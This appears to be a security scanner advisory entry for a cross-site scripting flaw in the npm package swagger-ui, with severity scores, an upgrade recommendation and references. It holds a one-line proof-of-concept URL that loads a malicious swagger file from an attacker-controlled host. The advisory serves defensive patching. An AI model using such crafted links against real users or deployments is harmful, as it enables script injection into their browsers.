QID 980702

QID 980702: Nodejs (npm) Security Update for swagger-ui (GHSA-7f59-x49p-v8mq)

Affected versions of `swagger-ui` are vulnerable to cross-site scripting in both the `consumes` and `produces` parameters of the swagger JSON document for a given API.

Additionally, `swagger-ui` allows users to load arbitrary swagger JSON documents via the query string parameter `url`, allowing an attacker to exploit this attack against any user that the attacker can convince to visit a crafted link.

## Proof of Concept

```
http://<USER_HOSTNAME>/swagger-ui/index.html?url=http://<MALICIOUS_HOSTNAME>/malicious-swagger-file.json
````

## Recommendation

Update to version 2.2.1 or later.

Successful exploitation of this vulnerability may affect the confidentiality, integrity, and availability of the targeted user.

CVSS V3 rated as Critical - 9.8 severity.

CVSS V2 rated as High - 7.5 severity.

Solution

Customers are advised to refer to GHSA-7f59-x49p-v8mq for updates pertaining to this vulnerability.

Vendor References

GHSA-7f59-x49p-v8mq - github.com/advisories/GHSA-7f59-x49p-v8mq

CVEs related to QID 980702

CVE-2016-1000226 |

Software Advisories

Advisory ID	Software	Component	Link
GHSA-7f59-x49p-v8mq	swagger-ui		github.com/advisories/GHSA-7f59-x49p-v8mq

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